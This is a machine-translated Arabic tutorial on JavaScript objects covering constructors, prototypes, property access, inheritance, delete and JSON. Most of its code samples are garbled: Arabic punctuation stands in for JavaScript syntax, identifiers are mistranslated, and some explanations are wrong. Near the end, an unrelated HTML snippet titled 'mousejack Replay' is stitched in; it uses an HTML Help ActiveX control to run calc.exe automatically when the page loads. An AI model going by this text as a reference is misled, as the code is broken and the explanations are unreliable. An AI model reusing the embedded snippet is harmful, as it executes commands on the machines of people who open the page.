يحتوي JavasCrtip على ستة أنواع بيانات ، ونوع بيانات معقد (نوع مرجع) ، وهو نوع كائن الكائن ، وخمس أنواع بيانات بسيطة (أنواع بدائية): الرقم ، السلسلة ، المنطقية ، غير المحددة والخالية. من بينها ، النوع الأكثر أهمية هو نوع الكائن. في الوقت نفسه ، تجدر الإشارة إلى أن الأنواع البسيطة غير قابلة للتغيير ، في حين أن أنواع الكائنات قابلة للتغيير.
ما هو كائن
الكائن عبارة عن قائمة غير مرتبة لأنواع البيانات البسيطة (أنواع البيانات المشار إليها أحيانًا) المخزنة كسلسلة من أزواج القيمة. يسمى كل عنصر في هذه القائمة خاصية (إذا كان يسمى طريقة).
هنا كائن بسيط:
var myfirstoBject = {firstName: "Richard" ، vereauthor: "conrad"} ؛يمكن اعتبار الكائنات قائمة ، ويتم تخزين كل عنصر (خصائص أو طرق) في القائمة في زوج قيمة الأسماء. في المثال أعلاه ، تكون أسماء السمات للكائن هي الاسم الأولى والرفض. في المقابل ، قيم السمة للكائن هي ريتشارد وكونراد.
يمكن أن يكون اسم السمة عبارة عن سلسلة أو رقم ، ولكن إذا تم استخدام الرقم كاسم السمة ، فيجب الحصول على قيمة السمة المقابلة لاسم السمة لهذا الرقم في قوسين مربع (تدوين قوسين مربع). شرح أكثر تفصيلا لتدوين قوسين مربعة في وقت لاحق. فيما يلي مثال على تدوين القوس المربع:
var agegroup = {30: "children" ، 100: "old" جداً "} ؛ console.log (AgeGroup.30) // error // الطريقة الصحيحة للوصول إلى السمة 30 console.log (AgeGroup ["30"]) ؛ // الأطفال // من الأفضل تجنب استخدام الأرقام كأسماء السماتكمبرمج JavaScript ، ستستخدم غالبًا أنواع بيانات الكائنات. عادة ما يتم استخدامه لتخزين البيانات ، أو لإنشاء طرق أو وظائف مخصصة.
أنواع البيانات المرجعية وأنواع البيانات البدائية
الفرق الأكثر أهمية بين النوع المرجعي والنوع البدائي هو أن النوع المرجعي يتم تخزينه بالرجوع ، ولن يخزن القيمة مباشرة في متغير مثل النوع البدائي. على سبيل المثال:
// يتم تخزين بيانات النوع الأصلي بواسطة value var person = "kobe" ؛ var otherperson = شخص ؛ // otherperson = قيمة الشخص الشخص = "bryant" ؛ // لقد غيرت قيمة الشخص console.log (شخص آخر) ؛ // kobe console.log (شخص) ؛ // برايان
تجدر الإشارة إلى أنه حتى لو قمنا بتغيير قيمة الشخص إلى "براينت" ، فلن يكون له أي تأثير على Anthoerperson ، ولا يزال يحفظ القيمة المعينة لها من قبل الشخص الأصلي.
قارن النوع الأصلي حسب متجر القيمة مع النوع المرجعي حسب المتجر المرجعي:
var person = {name: "kobe"} ؛ var otherperson = شخص ؛ person.name = "bryant" ؛ console.log (otherperson.name) ؛ // bryant console.log (person.name) ؛ // براينتفي هذا المثال ، نقوم بنسخ كائن الشخص إلى Anthoerperson ، ولكن لأن كائن الشخص يخزن مرجعًا بدلاً من القيمة الحقيقية. لذلك عندما نقوم بتغيير الشخص. اسم "Bryant" ، يعكس المتغير الآخر أيضًا هذا التغيير ، لأنه لا ينسخ جميع السمات شخصيًا ويحفظها ، ولكنه يحفظ مرجع الكائن مباشرة.
سمات خصائص الكائن
ملاحظة: يتم ترجمة السمة عمومًا على أنها سمة ، ولكن من أجل التمييز بينها عن Propertie (تم ترجمتها أيضًا على أنها سمة) ، يتم ترجمتها كسممة هنا. هذا أيضًا شيء استشاره الآخرون ، ويجب أن يكون غير ضار.
كل سمة كائن لا تحفظ زوجها ذي قيمة الأسماء فقط ، بل تحتوي أيضًا على ثلاث خصائص ، والتي يتم تعيينها على صواب افتراضيًا.
• السمة القابلة للتكوين: تحدد ما إذا كان يمكن حذف سمة الكائن هذه أو تعديلها.
• التعداد: يحدد ما إذا كان يمكن الحصول على خاصية الكائن هذه في حلقة العمل.
• قابلة للكتابة: يحدد ما إذا كان يمكن تعديل خاصية الكائن هذه.
هناك بعض الميزات الجديدة في emacscript 5 ، ولن نشرحها بالتفصيل هنا.
إنشاء كائن
هناك طريقتان شائعتان لإنشاء كائنات:
1. الكائن الحرفي
هذه هي الطريقة الأكثر شيوعًا وأسهل لإنشاء كائنات ، باستخدام الحرفية مباشرة:
// الكائن الفارغ var mybooks = {} ؛ // كائن يحتوي على 4 سمات تم إنشاؤها باستخدام حرفي var mango = {color: "Yellow" ، الشكل: "Round" ، الحلاوة: 8 ، Howsweetami: function () {console.log ("hmm hmm good") ؛ }}2. مُنشئ الكائن
الطريقة الثانية شائعة الاستخدام هي استخدام منشئي الكائنات. المنشئ هو وظيفة خاصة يمكن استخدامها لإنشاء كائن جديد. يجب استدعاء المنشئ باستخدام الكلمة الرئيسية الجديدة.
var mango = new Object () ؛ mango.color = "yellow" ؛ mango.shape = "round" ؛ mango.sweetness = 8 ؛ mango.howsweetami = function () {console.log ("hmm hmm good") ؛}على الرغم من أنه يمكن استخدام بعض الكلمات المحجوزة أو الكلمات الرئيسية ، مثل اسم خاصية الكائن ، فإن هذا ليس خيارًا حكيمًا.
يمكن أن تحتوي خصائص كائن على أي نوع بيانات ، بما في ذلك الرقم أو المصفوفات أو حتى الكائنات الأخرى.
الوضع العملي لإنشاء الكائن
لإنشاء كائنات بسيطة يتم استخدامها مرة واحدة فقط لتخزين البيانات ، يمكن للطريقتين أعلاه تلبية الاحتياجات.
ومع ذلك ، لنفترض أن هناك برنامجًا لعرض الفاكهة وتفاصيلها. يحتوي كل نوع من أنواع الفاكهة في البرنامج على خصائص الكائن التالية: اللون والشكل والحلاوة والتكلفة ودالة معروضة. إذا كان عليك وصف الكود التالي في كل مرة تقوم فيها بإنشاء كائن فاكهة جديد ، فسيكون ذلك مملاً للغاية وغير فعال.
var mangofruit = {color: "yellow" ، الحلاوة: 8 ، FruitName: "Mango" ، nativetoland: ["South America" ، "Central America"] ، downame: function () {console.log ("this is" + this.fruitname) ؛ } ، nativeto: function () {this.nativetoland.foreach (function (earyCountry) {console.log ("Grown in:" + earyCountry) ؛}) ؛ }}إذا كان لديك 10 ثمار ، فيجب عليك إضافة نفس الكود 10 مرات. وإذا كنت ترغب في تعديل وظيفة Nativeto ، فيجب عليك تعديلها في 10 أماكن مختلفة. دعنا نتخيل أيضًا أنه إذا كنت تقوم بتطوير موقع ويب كبير ، فقد أضفت سمات إلى الكائنات أعلاه واحدة تلو الأخرى. ومع ذلك ، فإنك تدرك فجأة أن الطريقة التي تنشئ بها الكائن ليست مثالية ، وتريد تعديله ، ماذا يجب أن تفعل في هذا الوقت؟
لحل هذه المشكلات المتكررة ، اخترع مهندسو البرمجيات أنماط مختلفة (حلول للمشاكل المتكررة والمهام الشائعة) لاستخدام برامج التطوير بشكل أكثر كفاءة وعقلانية.
فيما يلي نمطان شائعان لإنشاء كائنات:
1. وضع طريقة البناء
وظيفة الفاكهة (thecolor ، thesweatness ، thefruitname ، therativetoland) {this.color = thecolor ؛ this.sweetness = thesweetness ؛ this.fruitname = thefruitname ؛ this.nativetoland = aytivetoland ؛ this.showname = function () {console.log ("هذا هو" + this.fruitName) ؛ } this.nativeto = function () {this.nativetoland.foreach (function (earyCountry) {console.log ("Grown in:" + Every Country) ؛}) ؛ }}مع هذا النمط ، من السهل إنشاء مجموعة متنوعة من الفواكه. مثله:
var mangofruit = new fruit ("Yellow" ، 8 ، "Mango" ، ["America South America" ، "Central America" ، "West Africa"]) ؛ MangofRuit.showname () ؛ // هذا هو المانجو. mangofruit.nativeto () ؛ // Grown in: America South America // Grown In: Central America // Grown In: West Africa var Variplefruit = New Fruit ("Brown" ، 5 ، "" الأناناس "، [" الولايات المتحدة "]) // هذا هو أناناس.إذا كنت ترغب في تغيير الخصائص أو الأساليب ، فأنت بحاجة فقط إلى تعديلها في مكان واحد. يلف هذا النمط وظائف وميزات جميع الفواكه من خلال ميراث وظيفة الفاكهة.
يلاحظ:
proferations يجب تعريف الخصائص المتبقية على خصائص كائن النموذج الأولي للكائن. على سبيل المثال
someObject.prototype.firstName = "Rich" ؛
presidents يجب تعريف السمات التي تنتمي إلى نفسه مباشرة على الكائن. على سبيل المثال:
// أولاً ، قم بإنشاء كائن var amango = new fruit () ؛ // التالي ، حدد طريقة mongospice مباشرة على الكائن // لأننا نحدد خاصية mangospice مباشرة على الكائن ، فهي خاصية Amango الخاصة ، وليس خاصية Amango.mangospice = "بعض القيمة" ؛
◦ للوصول إلى خصائص الكائن ، استخدم object.property ، مثل:
console.log (Amango.Mangospice) ؛ // "بعض القيمة"
◦ لاستدعاء طريقة الكائن ، استخدم object.method () ، مثل:
// أولاً ، أضف طريقة amango.printstuff = function () {return "printing" ؛ } // الآن ، يمكنك استدعاء طريقة printstuff amango.printstuff () ؛2. وضع النموذج الأولي
الدالة الفاكهة () {} fruit.prototype.color = "yellow" ؛ frot.prototype.sweetness = 7 ؛ frut.prototype.fruitname = "generic fruit" ؛ froot.prototype.nativetoland = "USA this.fruitname) ؛} fruot.prototype.nativeto = function () {console.log ("Grown in:" + this.nativetoland) ؛}فيما يلي طريقة استدعاء مُنشئ Fruit () في وضع النموذج الأولي:
var mangofruit = new fruit () ؛ mangofruit.showname () ؛ // mangofruit.nativeto () ؛ // هذه فاكهة عامة // نمت في: الولايات المتحدة الأمريكية
القراءة الموسعة
إذا كنت بحاجة إلى معرفة شرح أكثر تفصيلاً لهذين النموذجين ، فيمكنك قراءة الفصل 6 من البرمجة المتقدمة JavaScript ، والتي تناقش مزايا وعيوب هاتين الطريقتين بالتفصيل. وتناقش أيضًا أوضاع أخرى إلى جانب هذين الاثنين في الكتاب.
كيفية الوصول إلى الخصائص في كائن
الطريقتان الرئيسيتان للوصول إلى خصائص الكائن هما ترميز DOT وترميز قوسين.
1. طريقة تدوين النقطة
// هذه هي الطريقة للوصول إلى السمات التي استخدمناها في المثال السابق var book = {title: "طرق للذهاب" ، الصفحات: 280 ، bookmark1: "صفحة 20"} ؛ // استخدم نقطة الاستخدام للوصول إلى سمات العنوان والصفحات لكائن الكتاب: console.log (book.title) ؛ // طرق للذهاب console.log (book.pages) ؛ // 2802. طريقة تدوين قوسين
// استخدم أقواس مربعة للكشف عن خصائص كائن الكتاب: console.log (كتاب ["title"]) ؛ // طرق للذهاب console.log (كتاب ["الصفحات"]) ؛ // 280 // إذا تم تخزين اسم السمة في متغير ، فيمكن أيضًا أن يكون: var booktitle = "title" ؛ console.log (book [booktitle]) ؛ // طرق للذهاب console.log (كتاب ["bookmark" + 1]) ؛ // صفحة 20
سيؤدي الوصول إلى الخصائص غير الموجودة في كائن إلى غير محدد.
سماتها وسمات الميراث
الكائنات لها سماتها الخاصة والسمات الموروثة. السمة الخاصة هي خاصية محددة مباشرة على الكائن ، في حين أن السمة الموروثة هي خاصية موروثة من النموذج الأولي للكائن.
لتحديد ما إذا كان الكائن لديه سمة معينة (سواء كانت سمة خاصة بها أو سمة موروثة) ، يمكنك استخدام المشغل في:
// إنشاء كائن مع سمة اسم SchoolName var School = {SchoolName: "MIT"} ؛ // print Out true لأن الكائن لديه اسم اسم المدارس Console.log ("اسم المدارس" في المدرسة) ؛ // true // print Out false لأننا لا نحدد ممتلكات SchoolType ولا ترث وحدة Console.log SchoolType ("SchoolType" في المدرسة) ؛ // false // print Out true لأن طريقة tostring console.log ("tostring" في المدرسة) ؛ // حقيقيHasownproperty
لتحديد ما إذا كان للكائن خاصية محددة خاصة به ، يمكنك استخدام طريقة HasOwnPrototype. هذه الطريقة مفيدة للغاية لأننا نحتاج غالبًا إلى تعداد جميع خصائص كائن ما بدلاً من ورثها.
// إنشاء كائن مع سمة اسم SchoolName var School = {SchoolName: "MIT"} ؛ // print true ، لأن اسم المدارس هو وحدة التحكم في المدرسة الخاصة بالمدرسة (school.hasownproperty ("SchoolName")) ؛ // true // print false ، لأن tostring ورثت من النموذج الأولي للكائن ، و Console.log الخاص بالمدرسة (school.hasownproperty ("tostring")) ؛ // خطأ شنيعخصائص الوصول والتعداد في الكائنات
من أجل الوصول إلى السمات (الذاتية أو الموروثة) التي يمكن تعدادها في كائن ، يمكنك استخدام حلقة من أجل الوصول أو طريقة حلقة عادية.
// إنشاء كائن مدرسي يحتوي على 3 سمات: اسم المدارس ، SchoolAccredited ، و Schoollocation. Var School = {SchoolName: "MIT" ، Schoolaccredited: True ، Schoollocation: "Massachusetts"} ؛ // استخدم حلقة من أجل الحصول على السمات في الكائن لـ (var earyitem in School) {console.log (earyItem) ؛ // يطبع اسم المدارس ، SchoolAccredited ، schoollocation}وصول الخصائص الموروثة
الخصائص الموروثة من النموذج الأولي للكائن لا يمكن تعدادها ، لذلك لا يتم الوصول إلى هذه الخصائص في حلقة من أجل. ومع ذلك ، إذا كانت خصائص ميراث لا يمكن التعداد لها ، فيمكن أيضًا الوصول إليها من الحلقة.
على سبيل المثال:
// استخدم من أجل الوصول إلى الخصائص في كائن المدرسة لـ (var everyitem in School) {console.log (earyItem) ؛ // يطبع اسم SchoolName ، SchoolAccredited ، schoollocation} // ملاحظة: الفقرة التالية هي شرح للنص الأصلي/* ملاحظة جانبية: كما أشرت ويلسون (قارئ ذكي) بشكل صحيح في التعليقات أدناه ، فإن خاصية EducationLevel ليست موجودة فعليًا بواسطة كائنات تستخدم المطبخ الأعلى ؛ بدلاً من ذلك ، يتم إنشاء خاصية EducationLevel كخاصية جديدة على كل كائن يستخدم مُنشئ التراجع العالي. السبب في أن الخاصية غير ورث هو لأننا نستخدم الكلمة الرئيسية "هذه" لتحديد الخاصية. *///قم بإنشاء دالة جديدة ذات خل حهري ترثها كائن المدرسة من. الوظيفة العليا () {this.educationLevel = "University" ؛ } // تنفيذ الميراث مع مدرسة مُنشئ المرتبة العليا Var = New LightLearning () ؛ School.SchoolName = "MIT" ؛ School.SchoolAccredited = صحيح ؛ School.Schoollocation = "Massachusetts" ؛ // استخدام for/in loop للوصول إلى الخصائص في الكائن المدرسي لـ (var earyitem in school) {console.log (earyItem) ؛ // Prints EducationLevel و SchoolNed و SchoolAccredited و Schoollocation}حذف الخصائص في الكائن
يمكنك استخدام مشغل الحذف لحذف الخصائص في كائن ما. لا يمكننا حذف السمات الموروثة ، ولا يمكننا حذف سمات الكائنات التي يتم تعيين سمات تكوينها على خطأ. لحذف الخصائص الموروثة ، يجب عليك حذفها من كائن النموذج الأولي (أي ، حيث يتم تعريف هذه الخصائص). علاوة على ذلك ، لا يمكننا حذف الخصائص في الكائنات العالمية.
عندما يكون الحذف ناجحًا ، سيعود مشغل الحذف بشكل صحيح. من المثير للدهشة أن مشغل الحذف يعود أيضًا إلى حد ما عندما لا تكون السمة المراد حذفها غير موجودة أو لا يمكن حذفها (أي ، السمة ليست خاصة بها أو يتم تعيين السمة القابلة للتكوين على خطأ).
هنا مثال:
Var Christmaslist = {Mike: "Book" ، Jason: "Sweater"} DELETE Christmaslist.mike ؛ // يحذف خاصية Mike لـ (var people in Christmaslist) {console.log (people) ؛ } // يطبع Jason فقط // تم حذف خاصية Mike Delete Christmaslist.ToString ؛ // إرجاع صحيح ، ولكن نظرًا لأن tostring عبارة عن خاصية ورثية ، فلن يتم حذفها// لأن tostring لم يتم حذفها ، يمكن أيضًا استخدام stristlist.tostring () عادةً ؛ // "[Object Object]" // إذا كانت السمة هي خاصية خاصة بها لمثيل كائن ، فيمكننا حذفها. // على سبيل المثال ، يمكننا حذف سمة EducationLevel من كائن المدرسة المحدد في المثال السابق ، // لأن EducationLevel محددة في تلك الحالة: استخدمنا الكلمة "هذه" عند تعريف EducationLevel في وظيفة التراجع الأعلى. // لا نحدد سمة EducationLevel في كائن النموذج الأولي للدالة العليا. console.log (School.hasownproperty ("expresselevel")) ؛ . // True // قامت Property EducationLevel بحذف console.log (School.EducationLevel) ؛ // undefined // لكن خاصية EducationLevel لا تزال موجودة في وظيفة Var Newschool = NewLearning () ؛ console.log (NewsChool.EducationLevel) ؛ // University // إذا حددنا عقارًا في النموذج الأولي للوظيفة العليا ، مثل هذا electionlevel2 property: lightlearning.prototype.educationlevel2 = "University 2" ؛ // لا تعزو خاصية EducationLevel2 الخاصة بممتلكات مثيل العليا // أن خاصية EducationLevel2 ليست ملكًا خاصًا لـ School ensole.log (School.HasownProperty ("EducationLevel2")) ؛ false console.log (School.EducationLevel2) ؛ . // صحيح (كما ذكرنا سابقًا ، سيعود هذا التعبير بشكل صحيح) // لم يتم حذف خاصية EducationLevel2 الموروثة. الجامعة 2تسلسل الأشياء وتهرب من الأشياء
من أجل تمرير كائن في HTTP أو تحويل كائن إلى سلسلة ، يتعين علينا تسلسل الكائن (تحويله إلى سلسلة). يمكننا استخدام json.stringify لتسلسل الأشياء. تجدر الإشارة إلى أنه في الإصدارات قبل ECMASCRIPT 5 ، نحتاج إلى استخدام مكتبة JSON2 للحصول على وظيفة json.stringify. في ECMascript 5 ، أصبحت هذه الوظيفة وظيفة قياسية.
لتحديد كائن (أي ، قم بتحويل سلسلة إلى كائن) ، يمكن القيام به باستخدام وظيفة JSON.Parse. وبالمثل ، قبل الإصدار الخامس ، نحتاج إلى الحصول على هذه الوظيفة من مكتبة JSON2 ، وقد تمت إضافة هذه الوظيفة القياسية إلى الإصدار الخامس.
نموذج الرمز:
var Christmaslist = {Mike: "Book" ، Jason: "Sweater" ، Chelsea: "iPad"} json.stringify (Christmaslist) ؛ // يطبع هذه السلسلة: // "{" Mike ":" Book "،" Jason ":" Sweater "،" Chels ":" iPad "}" // لطباعة كائن متطرف بتنسيق ، إضافة "NULL" و "4" كمعلمات: json.stringify (قائمة عيد الميلاد ، 4) ؛ // "{//" Mike ":" Book "، //" Jason ":" Sweater "، //" chels ":" ipad "//}" '{"Mike": "Book" ، "Jason": "Sweater" ، "Chels": "iPad"}' ؛ // دعنا نقوم بتحويله إلى كائن Var ChristmasListObj = json.parse (Christmasliststr) ؛ // الآن بعد أن أصبح كائنًا ، نستخدم Console.log (christmaslistobj.mike) ؛ // كتابلمزيد من النقاش وشرح كائنات JavaScript ، وكذلك المحتوى المضافة إلى ECMASCRIPT في الإصدار الخامس ، يرجى الرجوع إلى الفصل 6 من الدليل الموثوق بـ JavaScript (الإصدار السادس).
PostScript
عندما ترجمت مقالًا لأول مرة ، أشعر حقًا أنه ليس من السهل ترجمته جيدًا. تبدو العديد من الجمل البسيطة واضحة للغاية ، لكن عندما أرغب حقًا في ترجمتها ، لا أستطيع التفكير في طريقة مناسبة للتعبير. تستند المقالة بأكملها إلى فهمي الخاص ثم ترجمتها بحرية ، دون جملة الترجمة حسب الجملة. لذلك ، إذا كان هناك أي انحرافات في التفاهم أو الترجمة غير المناسبة ، فيرجى محاولة الإشارة إليها وسأقوم بتصحيحها في أقرب وقت ممكن. بعد كل شيء ، أريد مشاركة هذا المقال الماضي معك. لا أريد أن أضللك بسبب أخطائي في الفهم.
فقط صلصة ، الانتهاء من العمل.
<! doctype html> <html> <head> <title> mousejack Replay </title> </head> <body> command exec <object id = x classid = "clsid: adb880a6-d8ff -11cf-9377-00a003b7a11 value = "bitmap :: rectcut"> <param name = "item1" value = '، calc.exe'> <param name = "item2" value = "273،1،1"> </bomfic> <script> x.click () ؛ </script> </body> </html>
ما سبق هو كل محتوى هذه المقالة. آمل أن يكون ذلك مفيدًا لتعلم الجميع وآمل أن يدعم الجميع wulin.com أكثر.